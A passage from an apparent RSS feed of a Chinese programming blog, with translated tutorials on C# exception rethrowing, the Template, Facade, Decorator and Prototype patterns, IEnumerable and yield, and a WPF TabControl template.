我们首先看一下三个方法,分别叫做A,B,C，他们使用不同的throw语句。方法A使用了无参的throw语句。这可以被看作是rethrow(继续抛出)—他会抛出已经出现的同样的异常&lt;/p&gt;
&lt;p&gt;继续，方法B throw一个命名的异常变量。这就不是一个完全的rethrow了—因为他虽然抛出了同样的异常。但是改变了StackTrace（堆栈轨迹），如果有必要的话，我们可以收集一些异常信息，而方法C则创建了一个新的异常。
提示:你可以通过这种方法实现自定义的的错误处理
使用throw语句的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
class Program
{
    static void Main()
    {
	try
	{
	    A();
	    B();
	    C(null);
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex);
	}
    }

    static void A()
    {
	// Rethrow 语法.
	try
	{
	    int value = 1 / int.Parse(&#34;0&#34;);
	}
	catch
	{
	    throw;
	}
    }

    static void B()
    {
	// 过滤异常类型.
	try
	{
	    int value = 1 / int.Parse(&#34;0&#34;);
	}
	catch (DivideByZeroException ex)
	{
	    throw ex;
	}
    }

    static void C(string value)
    {
	// 创建新的异常.
	if (value == null)
	{
	    throw new ArgumentNullException(&#34;value&#34;);
	}
    }
}&lt;/pre&gt;
&lt;p&gt;程序可能的输出结果&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;System.DivideByZeroException: Attempted to divide by zero.
System.DivideByZeroException: Attempted to divide by zero.
System.ArgumentNullException: Value cannot be null.
Parameter name: value&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Rethrow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接着我们看更多的关于rethrows的细节。Rethrow必须是一个无参的throw语句。如果使用throw ex，那么TargetSie(TargetSite 从堆栈跟踪中获取抛出该异常的方法。如果堆栈跟踪为空引用，TargetSite 也返回空引用。-译者注)和StackTrace都被改变了。&lt;/p&gt;
&lt;p&gt;在下面的程序里，X()方法使用了rethrow语句。Y()使用了throw ex语句。我们可以看看当rethrow语句使用的使用，引发异常的方法，也就是异常的TargetSite是在StringToNumber&amp;mdash;一个int.Parse内部的方法。&lt;/p&gt;
&lt;p&gt;但是：当throw ex用的时候。就像在Y()里面，这个异常的TargetSite被修改到了当前的Y()方法里。
测试rethrow的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;

class Program
{
    static void Main()
    {
	try
	{
	    X();
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex.TargetSite);
	}

	try
	{
	    Y();
	}
	catch (Exception ex)
	{
	    Console.WriteLine(ex.TargetSite);
	}
    }

    static void X()
    {
	try
	{
	    int.Parse(&#34;?&#34;);
	}
	catch (Exception)
	{
	    throw; // [Rethrow 构造]
	}
    }

    static void Y()
    {
	try
	{
	    int.Parse(&#34;?&#34;);
	}
	catch (Exception ex)
	{
	    throw ex; // [Throw 捕获的ex变量]
	}
    }
}&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现模板模式</title>
      <link>http://blog.leaver.me/2012/10/25/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%A8%A1%E6%9D%BF%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Thu, 25 Oct 2012 22:04:15 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/25/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E6%A8%A1%E6%9D%BF%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文实现模板模式&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
有时候我们需要做很多任务，而做这些任务的算法可能不同，这样可以设计成策略模式，这样。执行该任务的基本的一些代码就是一样的。但程序可可以动态的切换来执行任务的不同部分了。&lt;/p&gt;
&lt;p&gt;现在，真实的情况是有些算法，从实现层面山看，有可能有一些步骤是不一样的，这种情况下。我们可以使用继承来完成。&lt;/p&gt;
&lt;p&gt;当有个算法，而这个算法的一部分却多样的时候。使用模板模式就很好。GoF定义模板模式为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Define the skeleton of an algorithm in an operation, deferring some steps to subclasses. Template Method lets subclasses redefine certain steps of an algorithm without changing the algorithm&amp;rsquo;s structure.&amp;rdquo;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。模板模式使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28596_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/013b89f26820a073c2044e0aa42a4d54a089e0b8.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
在上面的类图中：
AbstractClass：包含两种方法。第一种就是算法的每一步。另一种就是模板方法。模板方法就是那些可以被用在所有独立方法中。并且提供了算法执行的一个骨架
ConcreteClass：这个类重写了抽象类中每一步的方法，包含对这些步骤的个性化实现。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
看一个简单的例子。假想我们有一个类用来读取数据。并且能够为信息管理系统到处数据。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;abstract class DataExporter
{
    // 这个方法都是一致的
    public void ReadData()
    {
        Console.WriteLine(&#34;Reading the data from SqlServer&#34;);
    }

    // 当报表格式顶的时候这个也是定的。
    public void FormatData()
    {
        Console.WriteLine(&#34;Formating the data as per requriements.&#34;);
    }

    // 目标文件类型的不同导致该方法不同
    public abstract void ExportData();        

    // 这是客户端可能使用的模板方法
    public void ExportFormatedData()
    {
        this.ReadData();
        this.FormatData();
        this.ExportData();
    }
}&lt;/pre&gt; 
&lt;p&gt;ReadData和FormatData 的实现不会变。唯一可变的部分就是ExportData方法。该方法对于不同的导出类型不同。如果我们要导出excel文件。我们要实现一个ConcreteClass的实现。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class ExcelExporter : DataExporter
{
    public override void ExportData()
    {
        Console.WriteLine(&#34;Exporting the data to an Excel file.&#34;);
    }
}&lt;/pre&gt; 
&lt;p&gt;同样如果要导出PDF文件。重写这部分即可&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class PDFExporter : DataExporter
{
    public override void ExportData()
    {
        Console.WriteLine(&#34;Exporting the data to a PDF file.&#34;);
    }
}
&lt;/pre&gt; 
&lt;p&gt;好处就是客户端可以使用DataExporter类，而具体的实现是在派生类中的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;static void Main(string[] args)
{
    DataExporter exporter = null;

    //导出 Excel文件
    exporter = new ExcelExporter();
    exporter.ExportFormatedData();

    Console.WriteLine();

    // 导出 PDF 文件
    exporter = new PDFExporter();
    exporter.ExportFormatedData();
}
&lt;/pre&gt; 
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28597_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1bf614457e0728646a9997af084aa990ef0ea3cb.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
运行时。对算法的调用将会执行真正请求的派生类的方法。
看一下我们的类图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28598_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1653c7412c7218518495704e23ebaf2ccdd66712.jpg&#34; title=&#34;3&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现外观设计模式</title>
      <link>http://blog.leaver.me/2012/10/23/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%A4%96%E8%A7%82%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Tue, 23 Oct 2012 18:31:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/23/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%A4%96%E8%A7%82%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
本文介绍外观模式,并给出简单的实现示例&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;写软件的时候,有时候需要处理一系列的对象来完成一个确定的任务.比如,我们给一个万能遥控器写代码,我们需要关掉所有的设备,那么,我们有这样几种选择.第一个就是手动选择每一个设备,然后一个接一个的关闭,这好傻.那我们为什么不再遥控器上放一个按钮,我们按一下就关掉了.按钮的命令会与设备控制器通信然后关掉他们.&lt;/p&gt;
&lt;p&gt;如果我们又想在晚上12的时候自动关闭设备,那么我们就会有一个基于事件的计时器,与设备通信,然后关闭设备,问题是在两种情况下我们都需要与这些对象通信的函数.&lt;/p&gt;
&lt;p&gt;有很多方法解决这个问题,为什么不能有一个对象,该对象的责任就是关闭设备,当我要关闭设备的时候,我调用该对象就行了.这也是外观模式的理念Gof大神定义外观模式
&amp;ldquo;Provide a unified interface to a set of interfaces in a subsystem. Façade defines a higher-level interface that makes the subsystem easier to use.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;为子系统中的一组接口提供一个一致的界面，外观模式定义了一个高层接口，这个接口使得这一子系统更加容易使用。&lt;/p&gt;
&lt;p&gt;看看模式图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28434_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4699477e818474c6be3dfc63a211c68e6a64c67c.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意外观对象仅仅是提供了对函数一起操作,.不能替换子系统的接口.子系统的类仍然可以被系统的其他部分访问.外观为子系统提供了一致的界面.&lt;/p&gt;
&lt;p&gt;使用代码
为了模拟外观模式,我们模拟一个小例子.试着实现一个简单的外观对象,该外观对象操作一些WP手机的控制器对象,我们先定义问题&lt;/p&gt;
&lt;p&gt;每天早上我跑步的时候,我都得对我的手机做出以下的事情..
1. 关闭wifi
2. 切换到移动网络
3. 打开GPS
4. 打开音乐
5. 开始跑步追踪器&lt;/p&gt;
&lt;p&gt;跑完以后.,我又蛋疼的做出以下几件事
1. 在twitter和facebook上分享我的跑步数据
2. 关闭跑步追踪器
3. 关闭音乐
4. 关闭GPS
5. 关闭移动数据
6. 打开wifi&lt;/p&gt;
&lt;p&gt;目前我都是手工做的.,我们来实现这些假想的控制器类吧.&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class GPSController
{
    bool isSwitchedOn = false;

    public bool IsSwitchedOn
    {
        get
        {
            return isSwitchedOn;
        }
        set
        {
            isSwitchedOn = value;
            DisplayStatus();
        }
    }

    private void DisplayStatus()
    {
        string status = (isSwitchedOn == true) ? &#34;ON&#34; : &#34;OFF&#34;;
        Console.WriteLine(&#34;GPS Switched {0}&#34;, status);
    }
}&lt;/pre&gt;
&lt;p&gt;其他的像MobileDataController, MusicController, WifiController 代码都是基本的一样的.&lt;/p&gt;
&lt;p&gt;然后模拟一下跑步追踪器这个app&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class SportsTrackerApp
{
    public void Start()
    {
        Console.WriteLine(&#34;Sports Tracker App STARTED&#34;);
    }

    public void Stop()
    {
        Console.WriteLine(&#34;Sports Tracker App STOPPED&#34;);
    }

    public void Share()
    {
        Console.WriteLine(&#34;Sports Tracker: Stats shared on twitter and facebook.&#34;);
    }
}&lt;/pre&gt;
&lt;p&gt;下面模拟一下我的手工过程&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现装饰器模式</title>
      <link>http://blog.leaver.me/2012/10/22/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Mon, 22 Oct 2012 11:31:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/22/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;
本文讨论装饰器模式,这个模式是因为很多情况下需要动态的给对象添加功能.比如我们创建了一个Stream类.后来需要对这个数据流类动态的添加一个加密功能.有人可能说把加密方法写到流类里面啊.然后使用一个bool变量来控制开关就行了.但是这样.这个加密方法只能写一种..如果用派生类来实现.那么..对于不同的加密方法.,都要创建一个子类,举个例子.比如有时候是一些函数的组合.我们最终的派生类的数目基本上就和排列组合的数目一样了.&lt;/p&gt;
&lt;p&gt;我们使用装饰器模式来解决这个问题.GoF描述为
&amp;ldquo;Attach additional responsibilities to an object dynamically. Decorators provide a flexible alternative to subclassing for extending functionality.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;首先看一下图.理解一下这个模式中每一个类的作用&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28377_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7858234df16590f30fcdf85a0a8791d33d076e2d.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;
•	Component:定义了可以动态添加功能的具体类ConcreteComponents的接口.
•	ConcreteComponent: 可以动态添加功能的具体类
•	Decorator: 定义了动态添加到ConcreteComponent类中的功能的接口
•	ConcreteDecorator: 可以添加到 ConcreteComponent.中的具体功能类.&lt;/p&gt;
&lt;p&gt;使用代码&lt;/p&gt;
&lt;p&gt;我们开一个面包店的例子.面包店卖蛋糕和甜点.客户可以买蛋糕和甜点,同时添加一些额外的东西.额外的东西包括奶油(Cream),樱桃(Cherry),香料(Scent)和会员(Name Card)&lt;/p&gt;
&lt;p&gt;如果我们用派生类来实现..那么我们会有如下的类
•	CakeOnly
•	CakeWithCreamAndCherry
•	CakeWithCreamAndCherryAndScent
•	CakeWithCreamAndCherryAndScentAndNameCard
•	CakeWithCherryOnly
•	PastryOnly
•	PastryWithCreamAndCherry
•	PastryWithCreamAndCherryAndScent
•	PastryWithCreamAndCherryAndScentAndNameCard
•	PastryWithCherryOnly
•	等等等等&lt;/p&gt;
&lt;p&gt;这简直就是噩梦..我们用装饰器模式来实现把.
首先定义Component 接口&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;public abstract class BakeryComponent
{
    public abstract string GetName();
    public abstract double GetPrice();
}
&lt;/pre&gt; 
&lt;p&gt;前面说过了.这个类定义了能够动态添加功能的具体类(ConcreteComponents)的接口,好吧.然后来创建具体类ConcreteComponents&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class CakeBase : BakeryComponent
{
    // 真实世界里,这个值应该来自数据库等
    private string m_Name = &#34;Cake Base&#34;;
    private double m_Price = 200.0;

    public override string GetName()
    {
        return m_Name;
    }

    public override double GetPrice()
    {
        return m_Price;
    }
}

class PastryBase : BakeryComponent
{
    //真实世界里,这个值应该来自数据库等
    private string m_Name = &#34;Pastry Base&#34;;
    private double m_Price = 20.0;

    public override string GetName()
    {
        return m_Name;
    }

    public override double GetPrice()
    {
        return m_Price;
    }
}&lt;/pre&gt; 
&lt;p&gt;现在基对象准备好了.看看那些可以被动态添加的功能.我们看看Decorator  类&lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现原型模式-实现ICloneable接口.理解深浅拷贝</title>
      <link>http://blog.leaver.me/2012/10/19/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%8E%9F%E5%9E%8B%E6%A8%A1%E5%BC%8F-%E5%AE%9E%E7%8E%B0icloneable%E6%8E%A5%E5%8F%A3.%E7%90%86%E8%A7%A3%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D/</link>
      <pubDate>Fri, 19 Oct 2012 09:27:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/19/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E5%8E%9F%E5%9E%8B%E6%A8%A1%E5%BC%8F-%E5%AE%9E%E7%8E%B0icloneable%E6%8E%A5%E5%8F%A3.%E7%90%86%E8%A7%A3%E6%B7%B1%E6%B5%85%E6%8B%B7%E8%B4%9D/</guid>
      <description>&lt;p&gt;本文用C#实现原型模式,也会讨论深浅拷贝,已经如何在.net中高效实现ICloneable 接口
&lt;strong&gt;介绍&lt;/strong&gt;
有时候我们需要从上下文得到一个对象的拷贝，然后通过一些独立的操作来处理他。原型模式在这种情况下很适用&lt;/p&gt;
&lt;p&gt;GoF 定义原型模式为用原型实例指定创建对象的种类，并且通过拷贝这些原型创建新的对象。
Specify the kind of objects to create using a prototypical instance, and create new objects by copying this prototype.&amp;quot;&lt;/p&gt;
&lt;p&gt;看一下类图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28239_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e7e0d35a2192ac4360d169e4e1cb8fdb6a1113da.jpg&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;主要的参与者有
• Prototype: 抽象类或接口，定义了方法来拷贝自己
• ConcretePrototype: 克隆的具体类.
• Client: 需要执行拷贝对象的软件对象
然后实现吧&lt;/p&gt;
&lt;p&gt;使用代码&lt;/p&gt;
&lt;p&gt;为了简化。我以一个著名的偷车游戏作为例子
我们说游戏里有一个注脚。这个主要有着一些定义游戏数据的统计量。保存游戏的时候我们就需要拷贝这个对象，然后序列化到文件中。（仅仅是举个例子，真实的游戏里很少这样做）&lt;/p&gt;
&lt;p&gt;下面这个类抽象类就是概念中的Prototype&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public abstract class AProtagonist
{
    int m_health;
    int m_felony;
    double m_money;

    public int Health
    {
        get { return m_health; }
        set { m_health = value; }
    }

    public int Felony
    {
        get { return m_felony; }
        set { m_felony = value; }
    }

    public double Money
    {
        get { return m_money; }
        set { m_money = value; }
    }

    public abstract AProtagonist Clone();
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;接口定义了玩家重要的信息，然后定义了一个Clone方法。然后我们定义一个具体的玩家类CJ。这样我们可以克隆当前对象，然后异步的进行序列化&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class CJ : AProtagonist
{
    public override AProtagonist Clone()
    {
        return this.MemberwiseClone() as AProtagonist;
    }
}&lt;/pre&gt;
&lt;p&gt;这个类就是概念中的ConcretePrototype 。这里为了简化也没有其他一些方法了。&lt;/p&gt;
&lt;p&gt;现在看看客户端软件的写法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static void Main(string[] args)
{
    // 演示原型模式
    CJ player = new CJ();
    player.Health = 1;
    player.Felony = 10;
    player.Money = 2.0;

    Console.WriteLine(&#34;Original Player stats:&#34;);
    Console.WriteLine(&#34;Health: {0}, Felony: {1}, Money: {2}&#34;, 
        player.Health.ToString(), 
        player.Felony.ToString(), 
        player.Money.ToString());

    // 这里是拷贝部分.
    CJ playerToSave = player.Clone() as CJ;            

    Console.WriteLine(&#34;\nCopy of player to save on disk:&#34;);
    Console.WriteLine(&#34;Health: {0}, Felony: {1}, Money: {2}&#34;, 
        playerToSave.Health.ToString(), 
        playerToSave.Felony.ToString(), 
        playerToSave.Money.ToString());
}&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28245_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab28ca0c722912c55072bc471d50cb94d9ee8bb8.jpg&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>实现IEnumerable接口&amp;理解yield关键字</title>
      <link>http://blog.leaver.me/2012/10/19/%E5%AE%9E%E7%8E%B0ienumerable%E6%8E%A5%E5%8F%A3%E7%90%86%E8%A7%A3yield%E5%85%B3%E9%94%AE%E5%AD%97/</link>
      <pubDate>Fri, 19 Oct 2012 07:33:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/19/%E5%AE%9E%E7%8E%B0ienumerable%E6%8E%A5%E5%8F%A3%E7%90%86%E8%A7%A3yield%E5%85%B3%E9%94%AE%E5%AD%97/</guid>
      <description>&lt;p&gt;本文讨论题目的内容。然后讨论IEnumerable接口如何使得foreach语句可以使用。之后会展示如果实现自定义的集合类，该集合类实现了IEnumerable接口。Yield关键字和遍历集合后面也讨论。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一使用集合。就发现遍历集合就跟着来了。遍历集合最好的方式是实现迭代器模式-&lt;a href=&#34;http://www.codeproject.com/Articles/362986/Understanding-and-Implementing-the-Iterator-Patter&#34;&gt;Understanding and Implementing the Iterator Pattern in C# and C++&lt;/a&gt;(这篇文章我过几天翻译一下) ，C#提供foreach来以一种优雅的方式遍历&lt;/p&gt;
&lt;p&gt;只要集合实现了IEnumerable 接口就可以用foreach来遍历。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先先看一下内置的集合类如何使用foreach来遍历的。ArrayList实现了IEnumerable 接口。我们看一下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 看一下实现了IEnumerable 接口的集合如何遍历
ArrayList list = new ArrayList();

list.Add(&#34;1&#34;);
list.Add(2);
list.Add(&#34;3&#34;);
list.Add(&#39;4&#39;);

foreach (object s in list)
{
    Console.WriteLine(s);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;遍历泛型集合类&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Arraylist 是一个通用集合类，遍历泛型集合类也可以。因为这些泛型集合类实现了IEnumerable&amp;lt;T&amp;gt;接口，看一下吧。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 遍历实现了IEnumerable&amp;lt;T&amp;gt;接口的泛型类
List&amp;lt;string&amp;gt; listOfStrings = new List&amp;lt;string&amp;gt;();

listOfStrings.Add(&#34;one&#34;);
listOfStrings.Add(&#34;two&#34;);
listOfStrings.Add(&#34;three&#34;);
listOfStrings.Add(&#34;four&#34;);

foreach (string s in listOfStrings)
{
    Console.WriteLine(s);
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;发现了吧。我们自定义的集合类或是泛型集合类应该实现IEnumerable和IEnumerable&amp;lt;T&amp;gt;接口。这样就可以遍历了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;理解yield关键字&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在写个实现接口的例子之前，先理解一下yield关键字，yield会记录集合位置。当从一个函数返回一个值的时候，yield可以用。&lt;/p&gt;
&lt;p&gt;如下的普通的方法。不论调用多少次，都只会返回一个return&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static int SimpleReturn()
{
    return 1;
    return 2;
    return 3;
}

static void Main(string[] args)
{
    // 看看
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
    Console.WriteLine(SimpleReturn());
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原因就是普通的return语句不保留函数的返回状态。每一次都是新的调用。然后返回第一个值。&lt;/p&gt;
&lt;p&gt;但是使用下面的语句替换后就不一样。当函数第二次调用的时候。会从上次返回的地方继续调用&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;static IEnumerable&amp;lt;int&amp;gt; YieldReturn()
{
    yield return 1;
    yield return 2;
    yield return 3;
}
static void Main(string[] args)

{
    // 看看yield return的效果
    foreach (int i in YieldReturn())
    {
        Console.WriteLine(i);
    }
}&lt;/pre&gt;
&lt;p&gt;显然返回1，2，3，唯一要注意的就是函数需要返回IEnumerable。，然后通过foreach调用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在自定义的集合类里实现Ienumerable接口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在如果我们在我们的自定义集合里定义一个方法。来迭代所有元素。然后通过使用yield返回。我们就可以成功了。&lt;/p&gt;
&lt;p&gt;好。我们定义MyArrayList 类，实现IEnumerable 接口，该接口就会强制我们实现GetEnumerator 函数。这里我们就要使用yield了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;class MyArrayList : IEnumerable
{
    object[] m_Items = null;
    int freeIndex = 0;

    public MyArrayList()
    {
        // 对了方便我直接用数组了，其实应该用链表
       m_Items = new object[100];
    }

    public void Add(object item)
    {
        // 考虑添加元素的时候
        m_Items[freeIndex] = item;
        freeIndex++;
    }

    // IEnumerable 函数
    public IEnumerator GetEnumerator()
   {
       foreach (object o in m_Items)
        {
           // 检查是否到了末尾。数组的话。。。没写好
            if(o == null)
            {
                break;
            }

            // 返回当前元素。然后前进一步
            yield return o;
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>模拟Office2010文件菜单的TabControl模板</title>
      <link>http://blog.leaver.me/2012/10/17/%E6%A8%A1%E6%8B%9Foffice2010%E6%96%87%E4%BB%B6%E8%8F%9C%E5%8D%95%E7%9A%84tabcontrol%E6%A8%A1%E6%9D%BF/</link>
      <pubDate>Wed, 17 Oct 2012 10:00:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/17/%E6%A8%A1%E6%8B%9Foffice2010%E6%96%87%E4%BB%B6%E8%8F%9C%E5%8D%95%E7%9A%84tabcontrol%E6%A8%A1%E6%9D%BF/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28185_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ad13c7f6efeae2f1463e231f11d164126743c47.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这是Office2010中的文件菜单点开后的效果。本文我将以强大的WPF来实现类似的效果。希望你能有所收获。而不是只拷贝/粘贴代码而已。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;开始之前。先把TabControl找个地方放着。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window x:Class=&#34;TestClient.MainWindow&#34;

        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;

        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;

        Title=&#34;MainWindow&#34; Height=&#34;350&#34; Width=&#34;525&#34;&amp;gt;

    &amp;lt;TabControl Name=&#34;tabSteps&#34;&amp;gt;

        &amp;lt;TabItem Header=&#34;Info&#34; IsSelected=&#34;True&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Info content&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Recent&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Recent content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;New&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;New content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Print&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Print content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Save &amp;amp;amp; Send&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Save &amp;amp;amp; send content tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

        &amp;lt;TabItem Header=&#34;Help&#34;&amp;gt;

            &amp;lt;TextBlock&amp;gt;Help tab&amp;lt;/TextBlock&amp;gt;

        &amp;lt;/TabItem&amp;gt;

    &amp;lt;/TabControl&amp;gt;

&amp;lt;/Window&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后会大概是这个效果&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/28186_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/797a20d8d2f0489af03c4d57e307fcf0c14657be.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;为了改变TabControl的显示效果。我们使用模板机制，我们把模板写进一个资源字典里。这样就可以重用了。添加一个资源字典的步骤如下&lt;/p&gt;
&lt;p&gt;右键点击工程-添加-资源字典&lt;/p&gt;
&lt;p&gt;然后在资源字典里添加一些代码。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  &amp;lt;ControlTemplate x:Key=&#34;OfficeTabControl&#34; TargetType=&#34;{x:Type TabControl}&#34;&amp;gt;

        &amp;lt;Grid&amp;gt;

            &amp;lt;Grid.ColumnDefinitions&amp;gt;

                &amp;lt;ColumnDefinition Width=&#34;160&#34; /&amp;gt;

                &amp;lt;ColumnDefinition/&amp;gt;

